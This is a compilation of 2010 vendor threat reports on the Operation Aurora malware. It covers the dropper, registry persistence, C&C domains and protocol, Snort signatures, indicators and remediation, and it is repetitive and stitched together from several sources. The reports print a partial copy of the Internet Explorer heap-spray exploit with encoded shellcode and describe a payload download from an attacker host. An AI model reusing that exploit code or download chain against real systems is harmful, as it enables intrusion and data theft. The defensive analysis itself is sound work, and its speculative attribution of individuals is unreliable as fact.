random characters). Once executing, the payload will immediately delete the first
mJ2bhcPExs7excLThcjExqurnauYq
service and enter stage-two. During stage-two, the payload will register a new,
buffer after base64 decoding:
second service under the name RaS??? (where ??? are three random characters).
This new service will point to the same backdoor DLL, no new files are involved.
Note: the three character prefixes Ups and RaS can easily be modified by the attacker.
Once the new service is registered, the payload will access an embedded resource
that is encrypted. The decryption goes through several phases. The encrypted data block contains the DNS name for
the command and control server (homeunix.com, etc). This data block is configurable before the malware is
deployed. The data block length is hard-coded (0x150 or 336 bytes). During phase one, this data block is fed through a
simple XOR (0x99), resulting in an ASCII-string. Next, the resulting ASCII-string is fed into a base64 decoding
function, producing a binary string. Finally, the resulting base64 decoded binary string is fed through another XOR
(0xAB), resulting in clear-text. The three primary encryption loops are colored and marked in Figure 1. The resulting
clear-text buffer contains several fields in both ASCII and UNICODE, including the C&C server address.
Actionable Intelligence
Pattern
C&C Server DNS
*.homeunix.com (where * is any subdomain)
*.homelinux.com
*.ourhobby.com
*.3322.org
*.2288.org
*.8866.org
*.ath.cx
*.33iqst.com
*.dyndns.org
*.linode.com
*.ftpaccess.cc
*.filoups.info
*.blogsite.org
The payload will create additional registry keys.
Actionable Intelligence
Pattern
Additional Key
HKLM\Software\Sun\1.1.2\IsoTp
Additional Key
HKLM\Software\Sun\1.1.2\AppleTlk
Other potential dropped files, as reported by McAfee:
Actionable Intelligence
Pattern
Additional File
securmon.dll
Additional File
AppMgmt.dll
Additional File
A0029670.dll (A00#####.dll)
Additional File
msconfig32.sys
Additional File
VedioDriver.dll
Additional File
acelpvc.dll
Additional File
wuauclt.exe
Additional File
jucheck.exe
Additional File
AdobeUpdateManager.exe
Additional File
zf32.dll
COM M AND AND CONTRO L
The payload communicates with its command and control server over port 443. The source port is randomly selected.
While outbound traffic appears to be HTTPS, the actual traffic uses a weak custom encryption scheme. The command
and control packets have a very specific formativ.
command
parameters
0x00000001
payload len
payload
The payload section is encrypted with a key selected by using GetTickCount. This means each infected node has its
own key. The key is embedded in the header of the packet, and is easily recovered.
D IAGNOSE
HOW THE MALWARE WORKS
The primary control logic can be found in the module registered under the service key (rasmon.dll, etc.). This module has
been written in c and includes several specific methods and encodings that provide
forensic track-ability.
The above screenshot illustrates a REcon(tm) trace on the malware dropper and
subsequent service creation. Location A. represents the dropper program, which unpacks
itself and decompresses a file to the system32 directory. Point B. represents the initial
svchost.exe startup, which is loading the malware payload. Location C. is the actual
execution of the malware service, which remains persistent. At points E. and F. you can
see the malware checking in with the command and control server. Finally, location D.
represents the dissolvable batch file which deletes the initial dropper and then itself.
F IGURE 1 - BASE 64 AND XOR
ENCRYPTION SCHEME
CAPABILITY
The malware has generic and flexible capabilities. There are distinct command
handlers in the malware that allow files to be stolen and remote commands to
be executed. The command handler is illustrated in Figure 2. At location A. the
command number is checked. At locations marked B. are each individual
command handler, as controlled by the C&C server and command number in
the C&C packet. Location C. is where the result of each command is sent back
to the C&C server.
RECENT GLOBAL ACTIVITY
The concentration of the java-script exploit used to deliver Aurora is rising.
The primary source countries are China, Korea, India, and Polandv.
F IGURE 2 - C&C C OMMAND P ARSER
TODO: INSERT DATA FEED STATS HERE.
R ESPOND
Several Enterprise products have the capability to scan for and potentially remove the Aurora malware. Detection of the
malware is covered in detail, from multiple aspects, in the Detect section above. When using a Digital DNA(tm) capable
platform such as McAfee ePO, Guidance EnCase Enterprise, or Verdasys Digital Guardian, you can search the Enterprise
for the following Digital DNA sequence (recommend a tight match, 90% or higher).
Digital DNA Sequence for Aurora Malware
01 B4 EE 00 AE DA 00 8C 16 00 89 22 00 46 73 00 C6 49 00 0B AE 01 E7 9F 04 05 81
01 0E DF 01 79 D8 00 25 6A 00 15 49 00 47 22 00 4B 67 0F 2D CC 01 29 67 01 35 99
To thwart command and control and prevent data loss, known C&C domains should be blocked at the egress firewall.
The domains listed in the Detect section represent a significant set of those currently known to be operating. IDS
signatures similar to the one illustrated in the Detect section should be used to detect inbound exploit attempts, and
machines accepting this data should be scanned for potential infections. Many A/V products now contain signatures for
the Aurora exploit and will be effective in detection and removal. However, the attackers that represent the threat will
not be deterred, and variants of the attack are nearly assured.
Factors
Description
C&C protocol
If a variant is developed, it will very likely use the same C&C protocol, but
may change the header of the packet and the constants used for connection
setup. This will evade IDS / Firewall rules designed to detect the current
scheme. It is unlikely the attackers will change the encryption setup,
however.
The method used to install the service is highly effective. Although the
filenames will likely change, the actual method will likely remain.
Installation and Deployment
INOCU LATION SHOT
HBGary has prepared an inoculation shot for this malware. The inoculation shot is a small, signed binary
that will allow you to scan for, and optionally remove, this malware from your Enterprise network.
Remediation and Prevention with the HBGary Inoculation Shot
The AuroraInnoculation.exe is a simple WMI-based utility for scanning windows-based machines for the presence of the Aurora APT malware package.
The aurora innoculator also has the option of automatically removing a discovered infection and rebooting the box automatically. When the aurora
innoculator is executed it will query the user for authentication credentials. Optionally the user can just hit "cancel" to use the currently logged on
USER's authentication token. Some sample usages are listed below.
To scan a single machine:
AuroraInnoculation.exe -scan 192.168.0.1 or AuroraInnoculation.exe -scan MYBOXNAME
To scan multiple machines:
AuroraInnoculation.exe -range 192.168.0.1 192.168.0.254
To automatically attempt a clean operation:
AuroraInnoculation.exe -range 192.168.0.1 192.168.0.254 -clean
To scan a list of machines in a .txt file:
AuroraInnoculation.exe -list targets.txt
VERDASYS DIGITAL GUARDIAN
DG Agents can be used to remediate and prevent further infections within the enterprise without waiting for the
development of an AV signature. In this case:
Remediation and Prevention with Digital Guardian
A DGUpdate package can be deployed to all agents to perform the file and registry key delete operations to inactivate and remove the malware.
Several control rules can be added to prevent the Aurora malware infection specifically and to generically block other infection vectors:
Prevent network operations on remote port 443 if the current process image was launched from %%APPDATA% and registry keys exist in
HKLM\Software\Sun\1.1.2\IsoTp
 or 
HKLM\Software\Sun\1.1.2\AppleTlk
 or 
SOFTWARE\Microsoft\Windows
NT\CurrentVersion\SvcHost\SysIns
Prevent iexplore.exe from writing files with .exe extensions
Prevent files with .exe extensions from being written, copied, moved or renamed into the root of %APPDATA%
Prevent files with .exe extensions from launching in the root of %APPDATA%
Prevent network operations to demo1.ftpaccess.cc
Prevent executables launched from the root of %APPDATA% from performing file open on kernel32.dll
Prevent executables launched from the root of %APPDATA% from writing, copying, moving or renaming files with a .dll extension to
%SystemRoot%\system32
M ORE I NFORMATION
A BOU T H B GARY
HBGary, Inc is the leading provider of solutions to detect, diagnose and respond to advance
malware threats in a thorough and forensically sound manner. We provide the active
intelligence that is critical to understanding the intent of the threat, the traits associated with the
malware and information that will help make your existing investment in your security
infrastructure more valuable.
Corporate Address: 3604 Fair Oaks Blvd Suite 250 Sacramento, CA 95762 Phone: 916-4594727 Fax 916-481-1460 Sales@hbgary.com
ABOUT VERDASYS
Verdasys provides Enterprise Information Protection solutions that are the foundation of our
customer
s global data security strategy. With greater than 2 million security agents deployed at
over 150 of the world
s leading organizations, Verdasys is the proven global leader of Enterprise
Information Protection and compliance solutions. Companies serious about information
protection choose Verdasys.
Verdasys is headquartered in Waltham, MA.
For more information, go to www.verdasys.com
Verdasys Contact:
Jamie Warren
Verdasys, Inc.
Phone: (781) 902-5685
Email: jwarren@verdasys.com
http://siblog.mcafee.com/cto/operation-%E2%80%9Caurora%E2%80%9D-hit-google-others/
http://www.thetechherald.com/article.php/201004/5151/Was-Operation-Aurora-nothing-morethan-a-conventional-attack
http://www.fjbmcu.com/chengxu/crcsuan.htm (via:
http://www.secureworks.com/research/blog/index.php/2010/01/20/operation-aurora-clues-inthe-code/)
http://www.avertlabs.com/research/blog/index.php/2010/01/18/an-insight-into-the-auroracommunication-protocol/
http://www.symantec.com/connect/blogs/trojanhydraq-incident-analysis-aurora-0-dayexploit
CASE STUDY: OPERATION AURORA
Triumfant has performed extensive research into the behaviors of the recent attack directed at Google called Operation
Aurora. This case study provides a detailed description of how Triumfant would detect, analyze and remediate the attack
on an endpoint machine running the Triumfant agent.
In the interest of full disclosure, Triumfant had no direct interaction with the attack either directly on Triumfant
s own
endpoints or indirectly through a Triumfant customer. The analysis is based on detailed information collected through a
variety of publically available research performed by reliable sources that performed hands-on analysis of the attack.
Based on this research, Triumfant is fully confident that our software would have detected the attack and built a
remediation that would have restored the machine to its pre-attack condition.
The Operation Aurora attack falls squarely into one of the classes of attacks that Triumfant excels at detecting: targeted
attacks engineered to evade traditional network and endpoint protections. While the actual attack vector used was not
exceptionally sophisticated, the attack was created to have a digital signature that would not be detected by antivirus
tools. The attack also took steps to protect and obscure itself from detection once it infected a machine. The case study
steps through the process in four parts: initial detection, diagnosis, the assimilation of data about the attack into the
Triumfant knowledge base, and remediation of the affected machine.
Detection
The malicious code used by Operation Aurora created several service keys during three specific steps: execution of the
dropper, the first stage of installation, and the second stage of installation. Some of these keys are subsequently deleted
but at least one was persistent. The appearance of one or more of these keys would be interpreted as a marker of
potential malicious activity by the Triumfant real-time malware scan and would therefore trigger the detection process.
The first step in the detection process would be a request by the agent to the server requesting permission for the agent
to execute a full scan of the machine. The purpose of this scan is to capture all of the changes to that machine since the
previous scan results were processed as part of the normal agent/server interaction that occurs every 24 hours. The
Triumfant server would respond within seconds, authorizing the scan and throttling up the agent to complete the scan as
rapidly as possible, collecting all 200,000 plus attributes in under a minute. The resulting scan would captures the state
of the machine immediately after infection, providing the raw material for diagnosis so the analytics could verify the
machine is under attack and identify all of the primary and secondary artifacts of the attack.
Diagnosis
The Triumfant server would receive the full scan, recognize that it was executed as a result of suspicious behavior, and
immediately compare it to the adaptive reference model (the unique context built by our patented analytics). The result
of this comparison would be a set of anomalous files and registry keys. The fact that the files and keys associated with
Operation Aurora have random names would guarantee that they would be perceived as anomalous despite the fact that
humans might tend to confuse them with legitimate Windows services. Further analysis would then be applied to the
anomaly set to identify important characteristics and functional impacts. In this case the salient characteristics are an
anomalous service and a number of anomalous system32 files.
The discovery of an anomalous service would cause the Triumfant server to build a probe to be sent to the agent for
execution to gather more data to complete the analysis. In this case, the probe would contain a list of all of the
anomalous attributes found by the server during its analysis. Such probes leverage a series of correlation functions
designed to partition the anomalous attributes associated with an attack into related groups. For Operation Aurora
these correlation functions would group all of the anomalous attributes and then perform a risk assessment on this
group. In this specific case, this analysis would find that the malicious attack is communicating over the internet.
The cumulative results of the correlation and risk assessment would then be sent back to the Triumfant server. This new
information is then processed and classified as an 
Anomalous Application
 with a complete analysis of the changes that
composed the attack. This data would show the full set of changes associated with the attack such as files, registry keys,
2010 
 Triumfant, Incorporated
CASE STUDY: OPERATION AURORA
processes, ports, services, and event logs that were added, changed, or deleted as part of the attack. The data about the
attacks would be posted at the console and the Triumfant server would alert the appropriate personnel based on the
established reporting and alert protocols. Personnel could then access the correlated attack information and the
corresponding risk assessment who could then take appropriate actions including the ability to save the analysis to
readily share the data with CIRT and forensics teams.
Knowledge Base
Triumfant has the ability to save the analysis from any anomalous activity and leverage that data to create what
Triumfant calls a Recognition Filter that becomes a permanent part of the knowledge base contained in the adaptive
reference model. These Recognition Filters have a number of benefits. First, they provide a very precise mechanism for
storing and sharing knowledge about an incident. Second, they allow the system to search for any other instances of
that particular condition on other machines. Third, they enable the operator to pre-authorize automatic responses such as automatic remediation - should that incident be detected in the future.
In the case of Operation Aurora, an analyst could save the analysis and build a filter specifically about this attack. Once
built, the filter could be used to check other endpoint machines (the entire population or specified groups) for
infection. This mechanism uses acquired knowledge to address broad attacks before they have the chance to spread
beyond their initial penetration. These filters are also more resilient than digital signatures because they use wildcarding
to continue to detect the attack even as it morphs its basic signature over time to avoid traditional signature based tools.
Remediation
The ability to identify and correlate all of the changes associated with any attack provides a depth of information that
enables Triumfant to build a contextual and situational remediation that surgically and reliably removes the components
of that attack without reimaging the machine. This remediation is built to exactly match the attributes of the anomalous
application, in this case Operation Aurora, on an attribute by attribute basis.
For Operation Aurora, Triumfant would construct a remediation to address all of the changes associated with the attack,
restoring the altered attributes to their pre-attack condition. This includes the changes Aurora makes to affected
machine
s configuration settings to either execute or hide itself. The files added to the machine would be deleted, and
any files deleted or corrupted would be remediated using Triumfant
s patent pending donor technology.
Summary
Operation Aurora is illustrative of the targeted and well engineered attacks that characterize the evolving threats
businesses and government agencies face daily. Based on the available data regarding Operation Aurora, Triumfant can
say with confidence that Resolution Manager would have detected the attack, identified changes associated with the
primary and collateral damage done to the affected machines, and used that data to build a remediation to address the
specific elements of the attack. Within five minutes of the infection Triumfant would have analyzed the attack and
created a remediation to return the machine to its pre-attack condition pending confirmation by the administrator. This
ability to detect and remediate the attacks that evade traditional endpoint protections demonstrates the unique
capabilities of Triumfant
s technology.
Triumfant uses two continuous scan cycles. One is a scan for markers of malicious activity that runs approximately
every thirty seconds. The second is a continuous scan of every attribute on the machine that identifies and collects
changes to those attributes and communicates them to the server on a 24 hour reporting cycle.
Triumfant leverages the knowledge contained in the adaptive reference model to find another machine that has the
proper version of corrupted or missing files 
 validated to the specific release number and MD5 hash - and uses that
machine as a donor to repair the affected machine. This technology is patent pending.
2010 
 Triumfant, Incorporated
OPERATION
AURORA
February 10, 2010
Cyber Espionage is a critical issue. Over 80% of intellectual property is stored online digitally. The computing
infrastructure in a typical Enterprise is more vulnerable to attack than ever before. Current security solutions are
proving ineffective at stopping cyber espionage. Malware is the single greatest problem in computer security today.
Yet, malware represents only the tip of the spear. The true threat is the human being who is operating the malware.
This human and the organization represented is the true threat that is targeting information for the purposes of
financial gain, theft of state secrets, and theft of intellectual property. True threat intelligence requires reaching beyond
malware infections to identify the individuals, country of origin, and intent of the attacker.
HB GARY THREAT REPORT: OPERATION AURORA
THREAT SUMMARY
The Aurora malware operation was identified recently and made public by Google and McAfee. This malware operation has been
associated with intellectual property theft including source code and technical diagrams (CAD, oil exploration bid-data, etc).
Companies hit have been publically speculated, including Google, Adobe, Yahoo, Symantec, Juniper Networks, Rackspace,
Northrop Grumman, and Dow Chemical. The malware package used with Aurora is mature and been in development since at
least 2006.
The Aurora operation is characterized by a remotely operated backdoor program that persists on a Windows computer. This
backdoor program has several capabilities that are outlined below.
KEY FINDINGS
Evidence collected around the malware operation suggest
that Operation Aurora is simply an example of highly effective
malware penetration. There is not significant evidence to
attribute the operation directly to the Chinese Government.
However, key actors have been identified in association
with malware operations that utilize Chinese systems and
native language malware. This has lead to a great deal of
speculation about Chinese-State involvement. It must be
noted that a large and thriving underground economy exists
to both build and disseminate malware worldwide, and that
most of this malware is capable of intellectual property
theft. The malicious hacking underculture is strong in China,
as in Eastern Europe and elsewhere, and clearly enmeshed
into a global criminal economy of data theft. While difficult
to conclude that these activities receive any form of state
sponsorship or direction, the malware operation remains a
funded and significant risk to intellectual property in the
enterprise.
ASPECT
DESCRIPTION
Target
The operation is targeting intellectual property with
no specific industry focus. This is an example of 
knowing what they are looking for until they find it
Origin
It is highly probable that the malware was developed
in native Chinese language, and the operation control
system is designed for Chinese users, indicating the
entire operation is Chinese. This does not, however,
mean the Chinese Government is using the system.
Developers
Forensic tool-marks in the CRC algorithm can be
traced to Chinese origin. That, combined with domain
registration information, leads to at least one potential
actor, Peng Yong ii. The malware has been in development
since at least 2006. It has been updated several times.
ASPECT
DESCRIPTION
Operators
Operators of the malware appear to use certain domains
for C&C control. Dynamic DNS is a key feature of the
operation, with many known C&C servers operating
from domains registered through Peng Yong
s 3322.org
service.
Intent
The primary intent is the theft of intellectual property.
Coms
Communication is encrypted over HTTP, port 443,
obfuscated with a weak encryption scheme. The C&C
servers tend to operate from domains hosted on
dynamic DNS.
ATTRIBUTION
At this time, there is very little available in terms of
attribution. A CRC algorithm tends to indicate the malware
package is of Chinese origin, and many attacks are sourced
out of a service called 3322.org 
 a small company operating
out of Changzhou. The owner is Peng Yong, a Mandarin speaker
who may have some programming background with such
algorithms. His dynamic DNS service hosts over 1 million
domain names. Over the last year, HBGary has analyzed
thousands of distinct malware samples that communicate with
3322.org. While Peng Yong is clearly tolerant of cyber crime
operating through his domain services, this does not indicate
he has any direct involvement with Aurora.
TOOLMARK
DESCRIPTION
Embedded Resource Language Code
United States
CRC Algorithm Table of Constants
Embedded systems/
Chinese publicationiii
DNS registration services
Peng Yong, others
February 10, 2010 3
DETECT
This section of the report details how you can detect
Operation Aurora in your Enterprise. The exploit and payload
vehicle consists of the following components:
 JavaScript based exploit vector, known to exploit IE 6
 Shellcode component, embedded in the JavaScript
 Secondary payload server that delivers a dropper
 The dropper itself, which only used once and then deleted
 The backdoor program which is decompressed from
the dropper
JAVASCRIPT AND SHELLCODE
The JavaScript based attack vector associated with
Operation Aurora was published in the public domain in early
January 2010. Microsoft details the vulnerability in Security
Bulletin MS10-002. Internet Explorer 5.01, Internet Explorer
6, Internet Explorer 6 Service Pack 1, Internet Explorer 7, and
Internet Explorer 8 (except Internet Explorer 6 for supported
editions of Windows Server 2003) are affected. Exploit code
analyzed by HBGary reveals that only Internet Explorer 6
was targeted during Operation Aurora. This vulnerability can
be leveraged by attackers of varying skill levels due to the
JAVASCRIPT EXPLOIT CODE
<html>
<head>
<script>
var sc = unescape(
%u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805%uffe2%uffff%u3931%ud8
db%u87d8%u79bc%ud8e8%ud8d8%u9853%u53d4%uc4a8%u5375%ud0b0%u2f53%ud7b2%u3081%udb59%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0%ubdab%u
8caa%u9e53%u30d4%uda37%ud8d8%u3053%ud9b2%u308
SECTION REMOVED FOR SPACE...
8%udfa7%ufa4a%uc6a8%ubc7c%u4b37%u3cea%u564c%ud2cb%ua174%u3ee1%u1c40%uc755%u8fac%ud5be%u9b27%u7466%u4003%uc8d2%u5820%u770e%u2342
%ucd8b%ub0be%uacac%ue2a8%uf7f7%ubdbc%ub7b5%uf6e9%uacbe%ub9a8%ubbbb%uabbd%uf6ab%ubbbb%ubcf7%ub5bd%uf7b7%ubcb9%ub2f6%ubfa8%u00d8
var sss = Array (826, 679, 798, 224, 770, 427, 819, 770, 707, 805, 693, 679, 784, 707, 280,
238, 259, 819, 336, 693, 336, 700, 259, 819, 336, 693, 336, 700, 238, 287, 413, 224, 833,
SECTION REMOVED FOR SPACE...
735, 427, 336, 413, 735, 420, 350, 336, 336, 413, 735, 301, 301, 287, 224, 861, 840, 637,
735, 651, 427, 770, 301, 805, 693, 413, 875);
var arr = new Array;
for (var i = 0; i < sss.length; i ++) {
arr[i] = String.fromCharCode (sss [i] / 7);
var cc = arr.toString ();
cc = cc.replace (/,/g, 
cc = cc.replace (/@/g, 
eval (cc);
var x1 = new Array ();
for (i = 0; i < 200; i ++) {
x1 [i] = document.createElement (
COMMENT
x1 [i].data = 
var e1 = null;
function ev1 (evt)
e1 = document.createEventObject (evt);
document.getElementById (
).innerHTML = 
window.setInterval (ev2, 50);
function ev2 ()
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u
0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0
d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d
for (i = 0; i < x1.length; i ++) {
x1 [i].data = p;
var t = e1.srcElement;
</script>
</head>
<body>
<span id=
><IMG SRC=
aaa.gif 
 onload=
ev1(event)
 width=
 height=
></span>
</body>
</html>
HB GARY THREAT REPORT: OPERATION AURORA
public availability of the Metasploit module 
ie_aurora.rb
The exploit code used by the original attackers was quickly
improved and added to Metasploit thus greatly expanding the
potential number of attackers and reliability of code.
The JavaScript performs a heap spray attack and injects
the embedded shellcode described below. The JavaScript
exploits the vulnerability in Internet Explorer by copying,
releasing, and then referencing a Document Object Model
(DOM) element.
JAVASCRIPT ARTIFACTS
PATTERN
Initial encrypted dropper download.
Deleted file.
C:\%appdata%\a.exe
Decrypted dropper. Deleted file.
C:\%appdata\b.exe
JavaScript present in Internet Explorer
memory space.
<code listed above>
Download URL present in internet
history during memory analysis.
http://demo1.ftpaccess.cc/
demo/ad.jpg
Other domains associated
with Aurora.
sl1.homelinux.org
360.homeunix.com
ftp2.homeunix.com
update.ourhobby.com
blog1.servebeer.com
The shellcode exists as a Unicode escaped variable (sc)
in the malicious JavaScript listed below. Upon successful
exploitation of Internet Explorer, the shellcode will download
an obfuscated second stage executable from http://demo1.
ftpaccess.cc/demo/ad.jpg which is the dropper. Note: these
files are specific to the sample we analyzed at HBGary, Inc.
The attackers must use a second stage download mechanism
to achieve full system access due to memory constraints. It
is unlikely that the final payload could be delivered through
the original exploit given these conditions. The dropper
is XOR encrypted with a 0x95 key. The shellcode copies
this encrypted binary to the user
s AppData directory as
a.exe
. The shellcode then decrypts 
a.exe
 and moves it
b.exe
 in the same directory. Then 
b.exe
 is executed.
The following actionable intelligence can be used to identify
exploit remnants in the heap space of Internet Explorer post
exploitation attempt. These patterns can be searched for
when doing memory analysis
of a victim system.
SHELLCODE ARTIFACTS
PATTERN
Self-decrypting code using
a constant XOR value.
80 34 0B D8 80 34 0B D8
Kernel32.dll
searching code.
64 A1 30 00 00 00 8B 40 0C 8B 70 1C
Push Urlmon string to stack
using two push statements.
68 6F 6E 00 00 68 75 72 6C 6D
The following SNORT rules have been released by the Emerging
Threats project to detected the final payload command and
control communications.
Network Detection Signatures
alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:
ET TROJAN
Aurora Backdoor (C&C) client connection to CnC
; flow:established,to_
server; content:
|ff ff ff ff ff ff 00 00 fe ff ff ff ff ff ff ff ff ff 88 ff|
depth:20; flowbits:set,ET.aurora.init; classtype:trojan-activity;
reference:url,www.trustedsource.org/blog/373/An-Insight-into-theAurora-Communication-Protocol; reference:url,doc.emergingthreats.
net/2010695; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.
cgi/sigs/VIRUS/TROJAN_Aurora; sid:2010695; rev:2;)
alert tcp $EXTERNAL_NET 443 -> $HOME_NET any (msg:
ET TROJAN
Aurora Backdoor (C&C) connection CnC response
; fl owbits:isset,ET.
aurora.init; flow:established,from_server; content:
|cc cc cc cc cd
cc cc cc cd cc cc cc cc cc cc cc|
; depth:16; classtype:trojan-activity;
reference:url,www.trustedsource.org/blog/373/An-Insight-into-theAurora-Communication-Protocol; reference:url,doc.emergingthreats.
net/2010696; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.
cgi/sigs/VIRUS/TROJAN_Aurora; sid:2010696; rev:2;)
DROPPER
The initial dropper is merely a detonation package that
decompresses an embedded DLL into the Windows system32
directory and loads it as a service. The initial dropper is likely
to be packed (UPX, etc). The dropper has an embedded DLL
that is decompressed to the windows system32 directory. This
DLL will be named to resemble existing services (rasmon.
dll, etc). In order to evade forensics, the file-time of the
dropped DLL will be modified to match that of an existing
system DLL (user32.dll, etc). The dropped DLL is loaded into
its own svchost.exe process. Several registry keys are created
and then deleted as part of this process. Finally, the dropper
deletes itself from the system by using a dissolving batch file
(DFS.BAT, etc).
ACTIONABLE INTELLIGENCE
PATTERN
Service Key & Value
Note: deleted after drop
SOFTWARE\Microsoft\Windows NT\
CurrentVersion\SvcHost\
Value: SysIns
Data: Ups??? (??? are three random
chars)
Path to backdoor
Note: deleted after stage 1
SYSTEM\CurrentControlSet\Services\
Ups???\Parameters\
Value: ServiceDLL
Data: (full path to the backdoor)
Path to backdoor
Note: persistent
SYSTEM\CurrentControlSet\Services\
RaS???\Parameters\
Value: ServiceDLL
Data: (full path to the backdoor)
February 10, 2010 5
ACTIONABLE INTELLIGENCE
PATTERN
Potential variation
SYSTEM\CurrentControlSet\Services\
RaS???\Parameters\
Value: ServiceDLL
Data: %temp%\c_####.nls (where
#### is a number)
Potential variation
SYSTEM\CurrentControlSet\Services\
RaS???\Parameters\
Value: ServiceDLL
Data: %temp%\c_1758.nls
PAYLOAD
The payload uses
two-stage installation. GLANCE UNDER THE HOOD
buffer after phase one XOR:
During stage one, the
mJ2bhcPExs7excLThcjExqurnauYq
dropper will install the
buffer after base64 decoding:
payload as a service
running under the
name Ups??? (where
??? are three random characters). Once executing, the
payload will immediately delete the first service and enter
stage-two. During stage-two, the payload will register a new,
second service under the name RaS??? (where ??? are three
random characters). This new service will point to the same
backdoor DLL, no new files are involved. Note: the three
character prefixes Ups and RaS can easily be modified by
the attacker.
Once the new service is registered, the payload will access
an embedded resource that is encrypted. The decryption goes
through several phases. The encrypted data block contains
the DNS name for the command and control server (homeunix.
com, etc). This data block is configurable before the malware
is deployed. The data block length is hard-coded (0x150 or
336 bytes). During phase one, this data block is fed through
a simple XOR (0x99), resulting in an ASCII-string. Next, the
resulting ASCII-string is fed into a base64 decoding function,
producing a binary string. Finally, the resulting base64
decoded binary string is fed through another XOR (0xAB),
resulting in clear-text. The three primary encryption loops are
colored and marked in Figure 1. The resulting clear-text buffer
contains several fields in both ASCII and UNICODE, including
the C&C server address.
Figure 1. Base64 and XOR Encryption Scheme
HB GARY THREAT REPORT: OPERATION AURORA
ACTIONABLE INTELLIGENCE
PATTERN
C&C Server DNS
* .homeunix.com
(where * is any subdomain)
* .homelinux.com
* .ourhobby.com
COMMAND AND CONTROL
The payload communicates with its command and control
server over port 443. The source port is randomly selected.
While outbound traffic appears to be HTTPS, the actual traffic
uses a weak custom encryption scheme. The command and
control packets have a very specific format.iv
* .3322.org
* .2288.org
command
parms
0x00000001
payload len CRC KEY payload
* .8866.org
* .ath.cx
* .33iqst.com
* .dyndns.org
* .linode.com
* .ftpaccess.cc
* .filoups.info
* .blogsite.org
The payload will create additional registry keys.
ACTIONABLE INTELLIGENCE
PATTERN
Additional Key
HKLM\Software\Sun\1.1.2\IsoTp
Additional Key
HKLM\Software\Sun\1.1.2\AppleTlk
The payload section is encrypted with a key selected by
using GetTickCount. This means each infected node has its own
key. The key is embedded in the header of the packet, and is
easily recovered.
DIAGNOSE
HOW THE MALWARE WORKS
The primary control logic can be found in the module
registered under the service key (rasmon.dll, etc.). This
module has been written in c and includes several specific
methods and encodings that provide forensic track-ability.
Other potential dropped files, as reported by McAfee:
ACTIONABLE INTELLIGENCE
PATTERN
Additional File
securmon.dll
Additional File
AppMgmt.dll
Additional File
A0029670.dll (A00#####.dll)
Additional File
msconfig32.sys
Additional File
VedioDriver.dll
Additional File
acelpvc.dll
Additional File
wuauclt.exe
Additional File
jucheck.exe
Additional File
AdobeUpdateManager.exe
Additional File
zf32.dll
The above screenshot illustrates a REcon
 trace on the
malware dropper and subsequent service creation. Location
A. represents the dropper program, which unpacks itself
and decompresses a file to the system32 directory. Point B.
represents the initial svchost.exe startup, which is loading the
malware payload. Location C. is the actual execution of the
malware service, which remains persistent. At points E. and F.
you can see the malware checking in with the command and
control server. Finally, location D. represents the dissolvable
batch file which deletes the initial dropper and then itself.
CAPABILITY
The malware has generic and flexible capabilities. There are
distinct command handlers in the malware that allow files to
be stolen and remote commands to be executed. The command
handler is illustrated in Figure 2. At location A. the command
number is checked. At locations marked B. are each individual
command handler, as controlled by the C&C server and command
February 10, 2010 7
number in the C&C packet. Location C. is where the result of
each command is sent back to the C&C server.
At location 1. is a dropper obtained from an exploit server
directly accessed from the extracted shellcode from a MS10002 JavaScript vector. Location 2. represents a forensic
toolmark within the dropped executable. This toolmark
was obtained using physical memory assessment of the live
executable, after it was allowed to unpack itself in a virtual
machine. This assessment was performed with HBGary
Responder
. At location 3., the recovered toolmark(s) were
researched against published source code artifacts on the
Internet. From this, a single posting was discovered with
this exact toolmark, and this posting exists only in one place
and is of Chinese origin. From this, the author of the source
code was determined to be XXXXXXXX. At location 4., all
social cyberspaces used by XXXXXXX were then enumerated.
From this, postings in Traditional and Simplified Chinese
were discovered that confirm that XXXXXX is the author
and supplier of a malware package known as 
 or 
Netbot
Attacker
. Within the social space around 
Netbot Attacker
are individuals who are testing and/or asking for technical
support regarding the malware package operation. These
individuals have been grouped within Palantir
 as 
technical
support for bot
 at location 5.
Figure 2. C&C Command Parser
COPYCATS AND VARIANTS
With the release of MS10-002, and the subsequent
integration with Metasploit, the exploit vector used with
Aurora has been adopted laterally within the malware
development economy. Therefore, the use of MS10-002
should not be construed as an Aurora infection without
further analysis of the dropped payload. Forensic toolmarks
and link analysis have revealed several different threat
groups who are employing common IE exploit vectors.
HBGary is currently tracking several groups who operate
malware systems of this nature.
HBGary is using forensic toolmarks to trace the source
code origins of binary malware samples dropped in
conjunction with the MS10-002 exploit vector. For example,
in Figure 3, link analysis is being used to track the identity
of a threat actor in conjunction with his known Digital
. HBGary
s Digital DNA
 database not only codifies the
behavior of software, but also the coding idioms, algorithms,
and methods of individual developers. In this way, individual
threat actors can be tracked with Digital DNA
In the example, link analysis is provided by Palantir
. The
screenshot illustrates only a subset of the data being tracked
by HBGary, and sensitive information has been redacted.
Figure 3. Link Analysis of Malware Actors using Palantir
The above process, when carried further, produces many
more social links. Attribution such as this allows resolution
and visibility into the intent of individual threat groups.
HB GARY THREAT REPORT: OPERATION AURORA
RESPOND
Several Enterprise products have the capability to scan
for and potentially remove the Aurora malware. Detection of
the malware is covered in detail, from multiple aspects, in
the Detect section above. When using a Digital DNA
 capable
platform such as McAfee ePO, you can search the Enterprise
for the following Digital DNA sequence (recommend a tight
match, 90% or higher).
DIGITAL DNA SEQUENCE FOR AURORA MALWARE
01 B4 EE 00 AE DA 00 8C 16 00 89 22 00 46 73 00 C6 49 00 0B AE 01 E7 9F
04 05 81 01 0E DF 01 79 D8 00 25 6A 00 15 49 00 47 22 00 4B 67 0F 2D CC
01 29 67 01 35 99
To thwart command and control and prevent data loss,
known C&C domains should be blocked at the egress firewall.
The domains listed in the Detect section represent a
significant set of those currently known to be operating. IDS
